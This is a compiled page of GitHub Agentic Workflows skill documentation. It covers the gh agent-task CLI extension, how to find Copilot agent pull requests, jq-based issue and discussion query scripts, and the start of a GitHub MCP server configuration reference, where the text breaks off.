- **Markdown:** https://skillsdocs.com/github/gh-aw/gh-agent-session.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: gh-agent-session
description: Use gh agent-session commands to inspect and manage agent sessions.
---


# GitHub CLI Agent Session Extension

The `gh agent-task` extension creates GitHub Copilot coding agent sessions from the CLI. A session is a GitHub issue that triggers automated code changes from natural language instructions.

**Repository**: https://github.com/github/agent-task (internal GitHub extension)

## Overview

Agent sessions are GitHub issues that:
- Contain natural language instructions for code changes
- Trigger GitHub Copilot to autonomously execute the task
- Create pull requests with the implemented changes
- Provide a workflow for reviewing and merging automated code modifications

## Installation

Install via GitHub CLI:

```bash
gh extension install github/agent-task
```

**Note**: This extension requires authentication with a Personal Access Token (PAT) that has appropriate permissions for creating issues and pull requests.

## Core Commands

### Create Agent Task

Create a new agent session from a description:

```bash
# Create task with inline description
gh agent-task create "Fix the bug in authentication flow"

# Create task from file
gh agent-task create --from-file task-description.md

# Specify base branch
gh agent-task create --base develop "Implement new feature"

# Create in different repository
gh agent-task create --repo owner/repo "Update documentation"
```

**Command Parameters:**
- **Description** (positional): Natural language description of the task
- **`--from-file <path>`**: Read task description from file
- **`--base <branch>`**: Base branch for the pull request (default: repository default branch)
- **`--repo <owner/repo>`**: Target repository (default: current repository)

**Output Format:**
The command outputs the URL of the created agent session:
```
https://github.com/owner/repo/issues/123
```

### List Agent Tasks

List agent sessions in a repository:

```bash
# List all agent sessions
gh agent-task list

# List with filters
gh agent-task list --state open
gh agent-task list --state closed
gh agent-task list --state all
```

### View Agent Task

View details of a specific agent session:

```bash
# View by number
gh agent-task view 123

# View by URL
gh agent-task view https://github.com/owner/repo/issues/123
```

### Update Agent Task

Update an existing agent session:

```bash
# Update description
gh agent-task update 123 "Updated task description"

# Update from file
gh agent-task update 123 --from-file updated-description.md
```

## Task Description Format

Agent session descriptions should be clear, specific natural language instructions:

**Good Example:**
```markdown
# Refactor User Authentication

Refactor the user authentication flow in `src/auth/login.js` to:
1. Use async/await instead of callbacks
2. Add proper error handling with specific error messages
3. Add input validation for email format
4. Update tests to cover the new implementation

Maintain backward compatibility with the existing API.
```

**Poor Example:**
```markdown
Fix auth
```

**Best Practices:**
- Be specific about what needs to change
- Reference file paths when relevant
- Include acceptance criteria
- Specify any constraints or requirements
- Mention testing expectations

## Integration with GitHub Agentic Workflows

The `gh agent-task` extension is used by the `create-agent-session` safe output feature in GitHub Agentic Workflows (gh-aw).

### Safe Output Configuration

```yaml
safe-outputs:
  create-agent-session:
    base: main                       # Base branch for agent session PR
    target-repo: "owner/target-repo" # Cross-repository task creation
```

### Workflow Example

```yaml
on:
  issues:
    types: [labeled]
permissions:
  contents: read
  actions: read
engine: claude
safe-outputs:
  create-agent-session:
    base: main

# Code Task Delegator

When an issue is labeled with "code-task", analyze the requirements and create a GitHub Copilot coding agent session with detailed instructions for implementing the requested changes.
```

### Implementation Details

The safe output processor:
1. Reads agent output from the workflow execution
2. Extracts `create_agent_task` items from the structured output
3. Writes task descriptions to temporary files
4. Executes `gh agent-task create --from-file <file> --base <branch>`
5. Captures the created task URL and number
6. Reports results in job summary

**Environment Variables:**
- `GITHUB_AW_AGENT_TASK_BASE`: Base branch for the pull request
- `GITHUB_AW_TARGET_REPO`: Target repository for cross-repo task creation
- `GITHUB_AW_SAFE_OUTPUTS_STAGED`: Preview mode flag

## Authentication Requirements

Agent session creation requires elevated permissions beyond the default `GITHUB_TOKEN`:

**Required Permissions:**
- `contents: write` - To create branches and commits
- `issues: write` - To create the agent session issue
- `pull-requests: write` - To create pull requests

**Token Precedence:**
1. `COPILOT_GITHUB_TOKEN` - Dedicated Copilot operations token (recommended)
2. `GH_AW_GITHUB_TOKEN` - General override token (legacy)
3. Custom token via `github-token` configuration field

**Note**: The default `GITHUB_TOKEN` is **not** supported as it lacks required permissions. The `COPILOT_CLI_TOKEN` and `GH_AW_COPILOT_TOKEN` secrets are no longer supported as of v0.26+.

### Setting Up Authentication

Store your Personal Access Token in repository secrets:

```bash
# In your repository settings, add secret:
# Name: COPILOT_GITHUB_TOKEN (recommended)
# Value: ghp_YourPersonalAccessToken
```

:::note[Backward Compatibility]
Legacy token name `GH_AW_GITHUB_TOKEN` is still supported for backward compatibility. The `GH_AW_COPILOT_TOKEN` token is no longer supported as of v0.26+.
:::

## Error Handling

### Authentication Errors

```
Error: failed to create agent session
authentication required
```

**Solution**: Configure `COPILOT_GITHUB_TOKEN` or legacy `GH_AW_GITHUB_TOKEN` with a PAT.

### Permission Errors

```
Error: 403 Forbidden
Resource not accessible by integration
```

**Solution**: Ensure the token has `contents: write`, `issues: write`, and `pull-requests: write` permissions.

### Repository Not Found

```
Error: repository not found
```

**Solution**: Verify the target repository exists and the token has access to it.

## Testing in Staged Mode

When `safe-outputs.staged: true`, agent sessions are previewed without creation:

```yaml
safe-outputs:
  staged: true
  create-agent-session:
```

**Staged Output:**
```markdown
## 🎭 Staged Mode: Create Agent Tasks Preview

The following agent sessions would be created if staged mode was disabled:

### Task 1

**Description:**
Refactor authentication to use async/await pattern

**Base Branch:** main

**Target Repository:** owner/repo
```

## Common Patterns

### Issue-Triggered Agent Tasks

```yaml
on:
  issues:
    types: [labeled]
engine: claude
safe-outputs:
  create-agent-session:

When issue is labeled with "needs-implementation", create an agent session with implementation instructions.
```

### Scheduled Code Improvements

```yaml
on:
  schedule:
    - cron: "0 9 * * 1"  # Monday 9AM
engine: copilot
safe-outputs:
  create-agent-session:
    base: develop

Analyze codebase for improvement opportunities and create agent sessions for top 3 improvements.
```

### Cross-Repository Task Delegation

```yaml
on: workflow_dispatch
engine: claude
safe-outputs:
  create-agent-session:
    target-repo: "organization/backend-repo"
    base: main

Create agent session in backend repository to implement the API changes described in this issue.
```

## Best Practices

### Task Description Guidelines

1. **Be Specific**: Include file paths, function names, and exact requirements
2. **Include Context**: Explain why the change is needed
3. **Define Success**: Specify acceptance criteria or expected outcomes
4. **Mention Tests**: Request test coverage for changes
5. **Set Constraints**: Note any compatibility requirements or limitations

### Security Considerations

1. **Token Security**: Store PATs as secrets, never commit to repository
2. **Permission Scope**: Use minimum required permissions on tokens
3. **Repository Access**: Validate target repository before task creation
4. **Review Process**: Establish review workflow for agent-generated code

### Operational Guidelines

1. **Monitor Usage**: Track agent session creation and completion rates
2. **Review Output**: Always review agent-generated pull requests
3. **Iterate**: Refine task descriptions based on agent performance
4. **Document**: Maintain patterns for common task types

## Troubleshooting

### Task Creation Fails Silently

**Symptom**: No error but no task created

**Check**:
1. Verify `COPILOT_GITHUB_TOKEN` is set in repository secrets
2. Confirm token has required permissions
3. Check job logs for error messages
4. Verify target repository exists and is accessible

### Agent Task Not Triggering Copilot

**Symptom**: Task created but no automated PR

**Possible Causes**:
1. GitHub Copilot not enabled for repository
2. Task description unclear or ambiguous
3. Repository settings blocking automated PRs
4. Copilot service issues

**Solution**: Check repository Copilot settings and refine task description.

### Cross-Repository Tasks Fail

**Symptom**: Error when creating tasks in different repository

**Check**:
1. Token has access to target repository
2. Target repository exists and is spelled correctly
3. Token has required permissions in target repository

## Output Structure

When used via safe outputs, the create-agent-session job provides outputs:

```yaml
outputs:
  task_number: "123"
  task_url: "https://github.com/owner/repo/issues/123"
```

**Usage in Dependent Jobs:**
```yaml
jobs:
  follow_up:
    needs: create_agent_task
    steps:
      - name: Notify team
        run: |
          echo "Agent session created: ${{ needs.create_agent_task.outputs.task_url }}"
```

## References

- [GitHub Copilot Documentation](https://docs.github.com/en/copilot)
- [GitHub CLI Extensions](https://docs.github.com/en/github-cli/github-cli/using-github-cli-extensions)
- [Safe Outputs Documentation](https://github.github.com/gh-aw/reference/safe-outputs/)
- [Personal Access Tokens](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)

<!-- chapter:end slug=gh-agent-session -->

---

<!-- chapter:begin slug=gh-agent-task position=11 -->

## 11. gh-agent-task

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/gh-agent-task/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/gh-agent-task/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/gh-agent-task.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: gh-agent-task
description: Use gh agent-task commands to create, run, and monitor agent tasks.
---


# GitHub CLI Agent Task Extension

The `gh agent-task` extension creates GitHub Copilot coding agent tasks from the CLI. A task is a GitHub issue that triggers automated code changes from natural language instructions.

**Repository**: https://github.com/github/agent-task (internal GitHub extension)

## Overview

Agent tasks are GitHub issues that:
- Contain natural language instructions for code changes
- Trigger GitHub Copilot to autonomously execute the task
- Create pull requests with the implemented changes
- Provide a workflow for reviewing and merging automated code modifications

## Installation

Install via GitHub CLI:

```bash
gh extension install github/agent-task
```

**Note**: This extension requires authentication with a Personal Access Token (PAT) that has appropriate permissions for creating issues and pull requests.

## Core Commands

### Create Agent Task

Create a new agent task from a description:

```bash
# Create task with inline description
gh agent-task create "Fix the bug in authentication flow"

# Create task from file
gh agent-task create --from-file task-description.md

# Specify base branch
gh agent-task create --base develop "Implement new feature"

# Create in different repository
gh agent-task create --repo owner/repo "Update documentation"
```

**Command Parameters:**
- **Description** (positional): Natural language description of the task
- **`--from-file <path>`**: Read task description from file
- **`--base <branch>`**: Base branch for the pull request (default: repository default branch)
- **`--repo <owner/repo>`**: Target repository (default: current repository)

**Output Format:**
The command outputs the URL of the created agent task:
```
https://github.com/owner/repo/issues/123
```

### List Agent Tasks

List agent tasks in a repository:

```bash
# List all agent tasks
gh agent-task list

# List with filters
gh agent-task list --state open
gh agent-task list --state closed
gh agent-task list --state all
```

### View Agent Task

View details of a specific agent task:

```bash
# View by number
gh agent-task view 123

# View by URL
gh agent-task view https://github.com/owner/repo/issues/123
```

### Update Agent Task

Update an existing agent task:

```bash
# Update description
gh agent-task update 123 "Updated task description"

# Update from file
gh agent-task update 123 --from-file updated-description.md
```

## Task Description Format

Agent task descriptions should be clear, specific natural language instructions:

**Good Example:**
```markdown
# Refactor User Authentication

Refactor the user authentication flow in `src/auth/login.js` to:
1. Use async/await instead of callbacks
2. Add proper error handling with specific error messages
3. Add input validation for email format
4. Update tests to cover the new implementation

Maintain backward compatibility with the existing API.
```

**Poor Example:**
```markdown
Fix auth
```

**Best Practices:**
- Be specific about what needs to change
- Reference file paths when relevant
- Include acceptance criteria
- Specify any constraints or requirements
- Mention testing expectations

## Integration with GitHub Agentic Workflows

The `gh agent-task` extension is used by the `create-agent-task` safe output feature in GitHub Agentic Workflows (gh-aw).

### Safe Output Configuration

```yaml
safe-outputs:
  create-agent-task:
    base: main                       # Base branch for agent task PR
    target-repo: "owner/target-repo" # Cross-repository task creation
```

### Workflow Example

```yaml
on:
  issues:
    types: [labeled]
permissions:
  contents: read
  actions: read
engine: claude
safe-outputs:
  create-agent-task:
    base: main

# Code Task Delegator

When an issue is labeled with "code-task", analyze the requirements and create a GitHub Copilot coding agent task with detailed instructions for implementing the requested changes.
```

### Implementation Details

The safe output processor:
1. Reads agent output from the workflow execution
2. Extracts `create_agent_task` items from the structured output
3. Writes task descriptions to temporary files
4. Executes `gh agent-task create --from-file <file> --base <branch>`
5. Captures the created task URL and number
6. Reports results in job summary

**Environment Variables:**
- `GITHUB_AW_AGENT_TASK_BASE`: Base branch for the pull request
- `GITHUB_AW_TARGET_REPO`: Target repository for cross-repo task creation
- `GITHUB_AW_SAFE_OUTPUTS_STAGED`: Preview mode flag

## Authentication Requirements

Agent task creation requires elevated permissions beyond the default `GITHUB_TOKEN`:

**Required Permissions:**
- `contents: write` - To create branches and commits
- `issues: write` - To create the agent task issue
- `pull-requests: write` - To create pull requests

**Token Precedence:**
1. `COPILOT_GITHUB_TOKEN` - Dedicated Copilot operations token (recommended)
2. `GH_AW_GITHUB_TOKEN` - General override token (legacy)
3. Custom token via `github-token` configuration field

**Note**: The default `GITHUB_TOKEN` is **not** supported as it lacks required permissions. The `COPILOT_CLI_TOKEN` and `GH_AW_COPILOT_TOKEN` secrets are no longer supported as of v0.26+.

### Setting Up Authentication

Store your Personal Access Token in repository secrets:

```bash
# In your repository settings, add secret:
# Name: COPILOT_GITHUB_TOKEN (recommended)
# Value: ghp_YourPersonalAccessToken
```

:::note[Backward Compatibility]
Legacy token name `GH_AW_GITHUB_TOKEN` is still supported for backward compatibility. The `GH_AW_COPILOT_TOKEN` token is no longer supported as of v0.26+.
:::

## Error Handling

### Authentication Errors

```
Error: failed to create agent task
authentication required
```

**Solution**: Configure `COPILOT_GITHUB_TOKEN` or legacy `GH_AW_GITHUB_TOKEN` with a PAT.

### Permission Errors

```
Error: 403 Forbidden
Resource not accessible by integration
```

**Solution**: Ensure the token has `contents: write`, `issues: write`, and `pull-requests: write` permissions.

### Repository Not Found

```
Error: repository not found
```

**Solution**: Verify the target repository exists and the token has access to it.

## Testing in Staged Mode

When `safe-outputs.staged: true`, agent tasks are previewed without creation:

```yaml
safe-outputs:
  staged: true
  create-agent-task:
```

**Staged Output:**
```markdown
## 🎭 Staged Mode: Create Agent Tasks Preview

The following agent tasks would be created if staged mode was disabled:

### Task 1

**Description:**
Refactor authentication to use async/await pattern

**Base Branch:** main

**Target Repository:** owner/repo
```

## Common Patterns

### Issue-Triggered Agent Tasks

```yaml
on:
  issues:
    types: [labeled]
engine: claude
safe-outputs:
  create-agent-task:

When issue is labeled with "needs-implementation", create an agent task with implementation instructions.
```

### Scheduled Code Improvements

```yaml
on:
  schedule:
    - cron: "0 9 * * 1"  # Monday 9AM
engine: copilot
safe-outputs:
  create-agent-task:
    base: develop

Analyze codebase for improvement opportunities and create agent tasks for top 3 improvements.
```

### Cross-Repository Task Delegation

```yaml
on: workflow_dispatch
engine: claude
safe-outputs:
  create-agent-task:
    target-repo: "organization/backend-repo"
    base: main

Create agent task in backend repository to implement the API changes described in this issue.
```

## Best Practices

### Task Description Guidelines

1. **Be Specific**: Include file paths, function names, and exact requirements
2. **Include Context**: Explain why the change is needed
3. **Define Success**: Specify acceptance criteria or expected outcomes
4. **Mention Tests**: Request test coverage for changes
5. **Set Constraints**: Note any compatibility requirements or limitations

### Security Considerations

1. **Token Security**: Store PATs as secrets, never commit to repository
2. **Permission Scope**: Use minimum required permissions on tokens
3. **Repository Access**: Validate target repository before task creation
4. **Review Process**: Establish review workflow for agent-generated code

### Operational Guidelines

1. **Monitor Usage**: Track agent task creation and completion rates
2. **Review Output**: Always review agent-generated pull requests
3. **Iterate**: Refine task descriptions based on agent performance
4. **Document**: Maintain patterns for common task types

## Troubleshooting

### Task Creation Fails Silently

**Symptom**: No error but no task created

**Check**:
1. Verify `COPILOT_GITHUB_TOKEN` is set in repository secrets
2. Confirm token has required permissions
3. Check job logs for error messages
4. Verify target repository exists and is accessible

### Agent Task Not Triggering Copilot

**Symptom**: Task created but no automated PR

**Possible Causes**:
1. GitHub Copilot not enabled for repository
2. Task description unclear or ambiguous
3. Repository settings blocking automated PRs
4. Copilot service issues

**Solution**: Check repository Copilot settings and refine task description.

### Cross-Repository Tasks Fail

**Symptom**: Error when creating tasks in different repository

**Check**:
1. Token has access to target repository
2. Target repository exists and is spelled correctly
3. Token has required permissions in target repository

## Output Structure

When used via safe outputs, the create-agent-task job provides outputs:

```yaml
outputs:
  task_number: "123"
  task_url: "https://github.com/owner/repo/issues/123"
```

**Usage in Dependent Jobs:**
```yaml
jobs:
  follow_up:
    needs: create_agent_task
    steps:
      - name: Notify team
        run: |
          echo "Agent task created: ${{ needs.create_agent_task.outputs.task_url }}"
```

## References

- [GitHub Copilot Documentation](https://docs.github.com/en/copilot)
- [GitHub CLI Extensions](https://docs.github.com/en/github-cli/github-cli/using-github-cli-extensions)
- [Safe Outputs Documentation](https://github.github.com/gh-aw/reference/safe-outputs/)
- [Personal Access Tokens](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)

<!-- chapter:end slug=gh-agent-task -->

---

<!-- chapter:begin slug=github-copilot-agent-tips-and-tricks position=12 -->

## 12. github-copilot-agent-tips-and-tricks

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/github-copilot-agent-tips-and-tricks/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-copilot-agent-tips-and-tricks/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/github-copilot-agent-tips-and-tricks.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: github-copilot-agent-tips-and-tricks
description: Practical tips for reviewing and improving Copilot agent PRs.
---


# GitHub Copilot Agent Tips and Tricks

Use this guide to find, review, and work with Copilot coding agent pull requests in gh-aw.

## Identifying Copilot Agent PRs

### Branch Naming Convention

Copilot coding agent branches use the `copilot/` prefix, which makes them easy to identify and filter.

**Examples from this repository:**
- `copilot/add-cache-for-imported-workflows`
- `copilot/fix-istruthy-bundling-issue`
- `copilot/update-audit-command-copilot`
- `copilot/refactor-mcp-tool-rendering`

### Author Attribution

Copilot coding agent PRs are typically authored by:
- `app/github-copilot` - The GitHub Copilot bot account
- Individual developers using Copilot as an assistant

## Searching for Copilot Agent PRs

### Using GitHub CLI (`gh`)

**Prerequisites:**
```bash
# Authenticate with GitHub CLI
gh auth login
```

**Search by author (GitHub Copilot bot):**
```bash
# List all PRs created by the Copilot bot
gh pr list --author "app/github-copilot" --limit 100

# Include closed PRs
gh pr list --author "app/github-copilot" --state all --limit 100

# Get detailed JSON output
gh pr list --author "app/github-copilot" --json number,title,author,headRefName,createdAt,state
```

**Search by branch prefix:**
```bash
# Find all PRs from copilot/* branches
gh pr list --search "head:copilot/" --state all

# Combine with other filters
gh pr list --search "head:copilot/ is:open"
gh pr list --search "head:copilot/ is:merged"
```

**Filter with jq:**
```bash
# Extract specific fields
gh pr list --limit 100 --json author,number,title,headRefName \
  --jq '.[] | select(.headRefName | startswith("copilot/")) | {number, title, branch: .headRefName}'

# Filter by author containing "copilot"
gh pr list --limit 100 --json author,number,title \
  --jq '.[] | select(.author.login | contains("copilot"))'
```

### Using Git Commands

**List copilot branches:**
```bash
# Local and remote copilot branches
git branch -a | grep copilot

# Remote copilot branches only
git branch -r | grep copilot
```

**Search commit history:**
```bash
# Find commits with "copilot" in message
git log --all --grep="copilot" --oneline

# Find commits by copilot author
git log --all --author="copilot" --oneline

# Show graph with copilot-related commits
git log --all --grep="copilot" --oneline --graph
```

**Find merged copilot PRs:**
```bash
# Search for merge commits
git log --all --merges --grep="copilot" --oneline

# With PR numbers
git log --all --merges --oneline | grep -i copilot
```

## Common Copilot Agent PR Patterns

### Recent Examples from gh-aw Repository

Based on analysis of this repository, Copilot coding agent PRs typically address:

1. **Refactoring and Code Organization**
   - Example: "Refactor ALL_TOOLS to separate JSON file with runtime filtering"
   - Example: "Eliminate duplicate MCP tool table rendering logic"

2. **Documentation Improvements**
   - Example: "Document strict mode enforcement areas and CLI flag in schema"
   - Example: "Add comprehensive strict mode reference documentation"

3. **Bug Fixes**
   - Example: "Fix JavaScript test assertions for loadAgentOutput error handling"
   - Example: "Remove duplicate formatFileSize() function"

4. **Testing Enhancements**
   - Example: "Add integration tests for playwright MCP configuration across all engines"

5. **Security Fixes**
   - Example: "Fix template injection risk in copilot-session-insights workflow"

### PR Metadata to Check

When reviewing Copilot coding agent PRs, pay attention to:
- **Branch name**: Should follow `copilot/descriptive-name` pattern
- **Commit messages**: Often include "Initial plan" commits
- **PR description**: Should explain the problem and solution
- **Linked issues**: May reference issues being addressed

## Workflow Tips

### Finding Related PRs

```bash
# Find PRs related to a specific feature
gh pr list --search "head:copilot/ refactor" --state all

# Find PRs in a date range
gh pr list --search "head:copilot/ created:>=2024-01-01" --state all

# Find PRs with specific labels
gh pr list --search "head:copilot/ label:enhancement"
```

### Reviewing Copilot PRs

```bash
# Check out a copilot PR locally
gh pr checkout <PR-number>

# View PR diff
gh pr diff <PR-number>

# View PR details
gh pr view <PR-number>

# View PR in browser
gh pr view <PR-number> --web
```

### Tracking Copilot Contributions

```bash
# Count merged copilot PRs
gh pr list --author "app/github-copilot" --state merged --json number --jq 'length'

# List recent copilot PRs with dates
gh pr list --author "app/github-copilot" --state all --limit 20 \
  --json number,title,createdAt,state \
  --jq '.[] | "\(.number): \(.title) (\(.state)) - \(.createdAt)"'

# Export to CSV for analysis
gh pr list --author "app/github-copilot" --state all --limit 100 \
  --json number,title,createdAt,state,author \
  --jq -r '.[] | [.number, .title, .state, .createdAt] | @csv' > copilot-prs.csv
```

## Troubleshooting

### Authentication Issues

If you see "gh auth login" prompts:
```bash
# Authenticate with GitHub CLI
gh auth login

# Or set token environment variable
export GH_TOKEN="your-github-token"
```

### No Results Found

If searches return no results:
1. Verify you're in the correct repository
2. Check if the author name is correct (try `app/github-copilot` or `github-copilot`)
3. Try searching by branch prefix instead: `gh pr list --search "head:copilot/"`
4. Check if PRs exist: `git branch -r | grep copilot`

### Rate Limiting

If you hit GitHub API rate limits:
```bash
# Check rate limit status
gh api rate_limit

# Use authenticated requests (higher limits)
gh auth login
```

## Best Practices

1. **Use branch prefix search** when author search is unavailable
2. **Export PR lists** regularly for tracking and analysis
3. **Review commit history** to understand Copilot's implementation approach
4. **Check for "Initial plan" commits** to see Copilot's planning process
5. **Verify tests pass** before merging Copilot PRs
6. **Review security implications** especially for workflow changes

## Additional Resources

- GitHub CLI documentation: https://cli.github.com/manual/
- GitHub Copilot documentation: https://docs.github.com/en/copilot
- Git branch filtering: https://git-scm.com/docs/git-branch
- jq JSON processing: https://stedolan.github.io/jq/manual/

<!-- chapter:end slug=github-copilot-agent-tips-and-tricks -->

---

<!-- chapter:begin slug=github-discussion-query position=13 -->

## 13. github-discussion-query

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/github-discussion-query/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-discussion-query/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/github-discussion-query.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (2), referenced from this skill's directory:
  - `query-discussions.py` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-discussion-query/query-discussions.py
  - `query-discussions.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-discussion-query/query-discussions.sh

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: github-discussion-query
description: Query GitHub discussions with jq filtering and reusable selectors.
---

# GitHub Discussion Query Skill

Query GitHub discussions efficiently with built-in jq filtering.

## Important: jq Parameter is Optional

The `--jq` parameter is **optional**. Without `--jq`, this skill returns **schema and data size information** instead of full data.
Use this to avoid oversized responses and inspect structure before targeted queries.

Use `--jq '.'` to get all data, or use a more specific filter for targeted results.

## Usage

Use this skill to query discussions from the current repository or any specified repository.

### Basic Query (Returns Schema Only)

To list discussions from the current repository:

```bash
./query-discussions.sh
# Returns schema and data size, not full data
```

### Get All Data

To get all discussion data:

```bash
./query-discussions.sh --jq '.'
```

### With Repository

To query a specific repository:

```bash
./query-discussions.sh --repo owner/repo
```

### With jq Filtering

Use the `--jq` argument to filter and transform the output:

```bash
# Get discussion numbers and titles
./query-discussions.sh --jq '.[] | {number, title}'

# Get discussions by a specific author
./query-discussions.sh --jq '.[] | select(.author.login == "username")'

# Get discussions in a specific category
./query-discussions.sh --jq '.[] | select(.category.name == "Ideas")'

# Get answered discussions
./query-discussions.sh --jq '.[] | select(.answer != null)'

# Count discussions by category
./query-discussions.sh --jq 'group_by(.category.name) | map({category: .[0].category.name, count: length})'
```

### Common Options

- `--limit`: Maximum number of discussions to fetch. Default: 30
- `--repo`: Repository in owner/repo format. Default: current repo
- `--jq`: (Optional) jq expression for filtering/transforming output. If omitted, returns schema info

### Example Queries

**Find discussions with many comments:**
```bash
./query-discussions.sh --jq '.[] | select(.comments.totalCount > 5) | {number, title, comments: .comments.totalCount}'
```

**Get unanswered discussions:**
```bash
./query-discussions.sh --jq '.[] | select(.answer == null) | {number, title, category: .category.name}'
```

**List discussions with their labels:**
```bash
./query-discussions.sh --jq '.[] | {number, title, labels: [.labels[].name]}'
```

**Find discussions by category:**
```bash
./query-discussions.sh --jq '.[] | select(.category.name == "Q&A") | {number, title, author: .author.login}'
```

**Get recently updated discussions:**
```bash
./query-discussions.sh --jq 'sort_by(.updatedAt) | reverse | .[0:10] | .[] | {number, title, updatedAt}'
```

## Output Format

The script outputs JSON by default, making it easy to pipe through jq for additional processing.

## Requirements

- GitHub CLI (`gh`) authenticated
- `jq` for filtering (installed by default on most systems)

<!-- chapter:end slug=github-discussion-query -->

---

<!-- chapter:begin slug=github-issue-query position=14 -->

## 14. github-issue-query

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/github-issue-query/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-issue-query/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/github-issue-query.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (1), referenced from this skill's directory:
  - `query-issues.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-issue-query/query-issues.sh

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: github-issue-query
description: Query GitHub issues with jq filtering and reusable selectors.
---

# GitHub Issue Query Skill

Query GitHub issues efficiently with built-in jq filtering.

## Important: jq Parameter is Optional

The `--jq` parameter is **optional**. Without `--jq`, this skill returns **schema and data size information** instead of full data.
Use this to avoid oversized responses and inspect structure before targeted queries.

Use `--jq '.'` to get all data, or use a more specific filter for targeted results.

## Usage

Use this skill to query issues from the current repository or any specified repository.

### Basic Query (Returns Schema Only)

To list issues from the current repository:

```bash
./query-issues.sh
# Returns schema and data size, not full data
```

### Get All Data

To get all issue data:

```bash
./query-issues.sh --jq '.'
```

### With Repository

To query a specific repository:

```bash
./query-issues.sh --repo owner/repo
```

### With jq Filtering

Use the `--jq` argument to filter and transform the output:

```bash
# Get only open issues
./query-issues.sh --jq '.[] | select(.state == "OPEN")'

# Get issue numbers and titles
./query-issues.sh --jq '.[] | {number, title}'

# Get issues by a specific author
./query-issues.sh --jq '.[] | select(.author.login == "username")'

# Get issues with specific label
./query-issues.sh --jq '.[] | select(.labels | map(.name) | index("bug"))'

# Count issues by state
./query-issues.sh --jq 'group_by(.state) | map({state: .[0].state, count: length})'
```

### Common Options

- `--state`: Filter by state (open, closed, all). Default: open
- `--limit`: Maximum number of issues to fetch. Default: 30
- `--repo`: Repository in owner/repo format. Default: current repo
- `--jq`: (Optional) jq expression for filtering/transforming output. If omitted, returns schema info

### Example Queries

**Find issues with many comments:**
```bash
./query-issues.sh --jq '.[] | select(.comments.totalCount > 5) | {number, title, comments: .comments.totalCount}'
```

**Get issues assigned to someone:**
```bash
./query-issues.sh --jq '.[] | select(.assignees | length > 0) | {number, title, assignees: [.assignees[].login]}'
```

**List issues with their labels:**
```bash
./query-issues.sh --jq '.[] | {number, title, labels: [.labels[].name]}'
```

**Get project board assignments:**
```bash
./query-issues.sh --jq '.[] | {number, title, projects: [.projectItems.nodes[]? | .project?.url]}'
```

**Find old issues (created over 30 days ago):**
```bash
./query-issues.sh --jq '.[] | select(.createdAt < (now - 2592000 | strftime("%Y-%m-%dT%H:%M:%SZ")))'
```

## Output Format

The script outputs JSON by default, making it easy to pipe through jq for additional processing.

## Requirements

- GitHub CLI (`gh`) authenticated
- `jq` for filtering (installed by default on most systems)

<!-- chapter:end slug=github-issue-query -->

---

<!-- chapter:begin slug=github-mcp-server position=15 -->

## 15. github-mcp-server

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/github-mcp-server/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-mcp-server/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/github-mcp-server.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: github-mcp-server
description: Reference for GitHub MCP server tools, methods, and usage patterns.
---


# GitHub MCP Server Documentation

This file documents the GitHub MCP (Model Context Protocol) server, including tools and configuration options.

**Note**: This file is automatically generated and updated by the `github-mcp-tools-report.md` workflow. Manual edits may be overwritten.

**Last Updated**: [To be filled by workflow]

## Overview

The GitHub MCP server provides AI agents with programmatic access to GitHub's API through the Model Context Protocol. It supports two modes of operation:

### Local Mode (Docker-based)
- Runs as a Docker container on the GitHub Actions runner
- Uses `GITHUB_PERSONAL_ACCESS_TOKEN` environment variable for authentication
- Configurable toolsets via `GITHUB_TOOLSETS` environment variable
- Supports read-only mode via `GITHUB_READ_ONLY` environment variable

### Remote Mode (Hosted)
- Connects to hosted GitHub MCP server at `https://api.githubcopilot.com/mcp/`
- Uses Bearer token authentication in HTTP headers
- Supports read-only mode via `X-MCP-Readonly` header
- No Docker container required

## Configuration

### Basic Configuration

**Local Mode (Docker)**:
```yaml
tools:
  github:
    mode: "local"
    toolsets: [default]  # or [repos, issues, pull_requests]
```

**Remote Mode (Hosted)**:
```yaml
tools:
  github:
    mode: "remote"
    toolsets: [default]  # or [repos, issues, pull_requests]
```

### Read-Only Mode

To restrict the GitHub MCP server to read-only operations:

```yaml
tools:
  github:
    mode: "remote"
    read-only: true
    toolsets: [repos, issues]
```

### Custom Authentication

Use a custom GitHub token instead of the default:

```yaml
tools:
  github:
    mode: "remote"
    github-token: "${{ secrets.CUSTOM_GITHUB_PAT }}"
    toolsets: [repos, issues]
```

## Available Toolsets

